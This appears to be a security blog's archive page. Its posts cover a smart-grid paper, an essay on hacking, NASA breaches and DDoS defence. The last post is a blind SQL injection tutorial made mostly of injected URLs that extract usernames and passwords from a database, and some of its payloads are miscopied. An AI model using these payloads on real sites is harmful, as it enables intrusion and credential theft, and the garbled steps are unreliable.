Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Friday, April 11, 2014

Understanding Ethical Hacking, Vulnerability Assessment and Penetration Testing Framework from Falgun Rathod



Yes I know what you guys might be thinking as this paper is already published before in this blog but this slideshare upload got 85+ Facebooked Share and was Featured on Homepage of Slideshare as this was small attachment.

Soon will be publishing some technical stuff.
Cheers. 

Saturday, November 30, 2013

Paper on Smart Grid Security | ClubHack 2012


Smart Grid Security by Falgun Rathod from ClubHack

Smart grids is an added communication capabilities and intelligence to traditional grids,smart grids are enabled by Intelligent sensors and actuators, Extended data management system,Expanded two way communication between utility operation system facilities and customers,Network security ,National integration ,Self healing and adaptive –Improve distribution and transmission system operation,Allow customers freedom to purchase power based on dynamic pricing ,Improved quality of power-less wastage ,Integration of large variety of generation options. 

We have seen the more complex and critical infrastructure the more vulnerable they are. From the Year of 1994 we have seen lots of incidents where SmartGrid were Hacked the latest and booming incident was Stuxnet Worm which targeted Nuclear Power System of Iran and Worldwide.There are different types of Attacks we will see. Security needed for Smart Grid.


I am sure This Paper can be useful to various Researchers and Students for their Projects.

Wednesday, January 30, 2013

Welcome to the Era of Hacking, Total Exposure




We are asleep in a world of dreams and nightmares, both of which we live daily, and both of which need to be controlled by someone, for that is the joy of those people who pull the strings. If just one of us opens our eyes and sees through the cloud of deception that is placed before everyone’s eyes, then the dream is dispelled and we acknowledge the farce and fallacies around us for what they are and we see the “sheeple” just following blindly along....so many things I have seen, just in the last few days...I just have to shake my head and turn a blind eye sometimes...nothing to do but write....

In a “cyber-war”, where is the enemy? The investigating agencies, be it FBI or the CBI, would just love to know that hackers have managed to positively identify which sites belong to those responsible for the terrorist attacks. Even if they could be identified, attacking them could destroy crucial evidence. Blindly attacking sites perceived to be vaguely Arabic is just plainstupid (or at least not a sign of a true genius). Attacking sites of people who aren't even remotely involved to vent emotions is even more moronic.

Hacking is morally and ethically wrong, an offense against various governments in the world. You can see how hacking has changed from 1878 to the present day and how quickly it is becoming more of a threat to everyday life. This is due to the fact that many homes and businesses use computers placing themselves at a risk of getting hacked.

At last, I would like to say “WAKE UP INTERNET WORLD!” Security systems all over the globe are threatened and very few seem to understand what is happening. If the CEO’s, Administrators, Presidents, and other heads of businesses and governments aren’t demanding that their IT departments are re-evaluating their security systems, then they deserve everything the hackers give them.

Hacking is here to stay. It will not go away quietly. It will not be eliminated. If a software engineer can write a security program believe me when I say a hacker can breach it.

It’s hard to imagine a world without computers, mobile devices or the Web. Cyber criminals and malicious hackers know just how important these tools are to not only work, but everything we do in our personal lives as well.

And because we rely on them so heavily, they are a prime target for attack. Viruses and other malware used to attack computers, networks and websites has changed over the years. Initially, these malicious programs were written to be mischievous. While destructive in nature, they did not have the same intent and outcome that malware does today. Nowadays, cyber criminals stand to make hundreds of thousands of dollars from malware. Unfortunately, there are just too many strains of malicious software out there for each one of them to make the news like they did in the old days.

As we watch many movies in which hackers just type a code and any computer get hacked, for many people, this is like a fake thing in real it happens.

The reasons why Hackers hack can be motivated by different agendas, such as malicious intent, for the challenge, or for profit. Whatever their motivations, they are a chronic pain the butt and website owners must be constantly on guard or run the risk of their sites going down, and experience loss to their business and/or business reputation.

To some, hacking is just an amusing game or challenge just to prove how smart you are. A trait that most hackers share is a strong sense of curiosity. They pride themselves on their ability create new programs. They brag to their social circle about any high-profile system that they've hacked. You can employ more security measures to protect your computer system e.g. Firewalls, anti-spyware, anti-viral etc., but these types of hackers just find it more of a challenge to defeat these security defenses and your computer crashing is just another trophy on their hacker shelf. Yes these types of hackers are annoying but the ones you really need to worry about are the hackers who hack for profit - your criminal hackers.

By now corporations and governments worldwide have taken notice that their security systems are at risk. Well, sort of. There is still an arrogance and attitude of “it couldn’t happen to me.” In the meantime, hackers all over the globe are getting into everything from email to top secret documents.

It doesn’t surprise a specialist in the Information Technology field that the heads of corporations like Sony and government agencies like NASA have been slow on the uptake. For too long these people have been driven by greed and have acted with total impunity.

No more. Because internet security has become the number one target of organized groups like Anonymous or 13 year old boys fooling around on the computer, every government, business, corporation, and personal computer is at risk.

And, the conundrum for everyone is that if you can write a security program, someone can hack it. One doesn’t think it will be out of business soon because some government agency or billion dollar corporation thinks it can outsmart the techies of the world. No, the real issue is how are institutions going to process information, secure and public that cannot be hacked into?

Technology advances in storage and computing models (e.g. cloud) have made it possible for modern companies to save massive amounts of data about their customers and partners. These increasingly large stores of information can provide insights that improve marketing efforts, help refine product offerings or even enable completely new service/product lines. However, the data also makes these organizations more attractive to attackers. Last year, the number of data breaches due to hacking exceeded lost and stolen laptops for the first time; hacking was responsible for 83 percent of the total exposed records in 2011. The impacts of a data breach can be significant – lost time, revenue and reputation. However, the stakes may be becoming even higher.

Every era has had a name and this era is going to be named the Era of Hacking. This is the era when the dishonest and corrupt are being caught with their pants down and their phony financial reports exposed. The hero’s of our world will no longer be gold star generals or presidents but faceless hackers with a weapon called the keyboard.

Source - http://krishnan1983.blogspot.in/2012/08/hacking-in-todays-world.html
Thanks to S. Krishnan Sir....

Sunday, March 4, 2012

NASA Hacked 13 times last Year




'Unencrypted notebook computers that have been lost or stolen include ones containing codes for controlling the International Space Station as well as sensitive data on NASA's Constellation and Orion programs and Social Security numbers'


NASA said hackers broke into its computer systems 13 times last year, stealing employee credentials and gaining access to mission-critical projects in breaches that could compromise U.S. national security.

The National Aeronautics and Space Administration spends only $58 million of its $1.5 billion annual IT budget on cyber security, Paul Martin, the agency's inspector general, told a Congressional panel on NASA security earlier this week.

"Some NASA systems house sensitive information which, if lost or stolen, could result in significant financial loss, adversely affect national security, or significantly impair our nation's competitive technological advantage," Martin said in testimony before the U.S. House Committee on Science, Space and Technology, released on Wednesday. (bit.ly/yQFSB8)

He said the agency discovered in November that hackers working through a Chinese-based IP address broke into the network of NASA's Jet Propulsion Laboratory.

He said they gained full system access, which allowed them to modify, copy, or delete sensitive files, create user accounts for mission-critical JPL systems and upload hacking tools to steal user credentials and compromise other NASA systems. They were also able to modify system logs to conceal their actions, he said.

"Our review disclosed that the intruders had compromised the accounts of the most privileged JPL users, giving the intruders access to most of JPL's networks," he said.

In another attack last year, intruders stole credentials for accessing NASA systems from more than 150 employees.

Martin said the agency has moved too slowly to encrypt or scramble the data on its laptop computers to protect information from falling into the wrong hands.

Unencrypted notebook computers that have been lost or stolen include ones containing codes for controlling the International Space Station as well as sensitive data on NASA's Constellation and Orion programs and Social Security numbers, Martin said.

Source - Reuters

Saturday, February 25, 2012

Understanding DDOS Attack


What is DDos Attack ?
Compromised PCs, or “bots,” are formed into groups called “botnets” and are used as weapons by cyber-attackers to launch various forms of cyber attacks. These attacks range widely from DDoS to identity theft and clandestine intelligence gathering operations.
During Distributed Denial of Service attempts, attackers launch attacks using different techniques including HTTP, HTTPS, ICMP, SYN Floods, UDP Floods, DNS Request Floods, GET Floods, and others. The attack components are often used in combination, and range in size from a few hundred megabits per second (Mbps) to over 80 gigabits per second (Gbps). Increasingly sophisticated attacks are based around application requests at Layer-7.
Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher ie the person/machine behind all this,sound’s COOL right . The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.
How do they Do it ?
DDOS is done in 2 phases. In the first phase they try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.

What Allowed them to Do ?
  1. Vulnerable softwares/Applications running on a machine or network.
  2. Open network setup.
  3. Network/ machine setup without taking security into account.
  4. No monitoring or DataAnalysis are being conducted.
  5. No regular Audit / Software upgrades being conducted.
First Identify if you are really under attack. If yes, follow the below steps :
  • Check if your machines load is high and you have large number of HTTP process running.
To find the load just use the command w or uptime -
–
Eg:
falgun@localhost>w 12:00:36 up 1 day, 20:27, 5 users, load average: 0.70, 0.70, 0.57
USER XYZ FROM LOGIN@ IDLE JCPU PCPU WHAT
–
To find if there is large number of HTTP process running use the command ” ps -aux|grep HTTP|wc -l ”
–
Eg:
[falgun@localhost]# ps -aux|grep HTTP|wc -l
23
–
In a heavy server , the number of connection will go above 100. But during DDOS attack, the number will go even higher and thats when we need to find out from which all networks are these attacks coming. In DDOS the host machine doesn’t have much importance. Its the network which is of importance here because, an attacker will use any machine on the compromised network or even will use all the machines in the network. Hence network address is of importance while fighting with the attack.
However, there are some actions you can take to protect yourself. Here's some basic advice:
  • Ensure that you have adequate bandwidth on your Internet connection. You'll be able to foil many low-scale DDoS attacks by simply having enough bandwidth (and processing power) to service the requests.
  • Deploy an intrusion prevention system on your network. Some (but definitely not all) DDoS attacks have recognizable signatures that an IPS can detect and use to prevent the requests from reaching the Web server.
  • Use a DDoS prevention appliance, including any of the Cisco Systems Inc. Cisco Guard products, that is specifically designed to identify and thwart distributed denial-of-service attacks.
  • Maintain a backup Internet connection with a separate pool of IP addresses for critical users. While you won't be able to switch all access to your website over to a backup connection (the attacks will switch at the same time!), you can provide critical users with an alternate path to your site if the primary circuit is swamped with bogus requests.
These tips should get you started on the road toward building a hardy Web infrastructure with the highest probability of surviving a DDoS attack. Good luck!




Thursday, February 23, 2012

Blind SQL Injection Tutorial Illustrated


Blind injection is a little more complicated the classic injection but it can be done :D 

It's some what hard but good to Learn 

1) http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.now the real test

3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :) 

1) Get the MySQL version

to get the version in blind attack we use substring 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5. 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works 
when select don't work then we use subselect 
i.e
http://www.site.com/news.php?id=5 and (select 1)=1 

if page loads normally then subselects work.then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names.This is part when guessing is the best friend for Hacker ...
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name. 
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess) 
here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users. 
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .
 so if the ascii char greater then 80, the page loads normally. (TRUE)
 we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far
 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
 There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
 cause that makes you better SQL INJECTOR :D

Hope You Learned alot from this and This is just for Educational Purpose.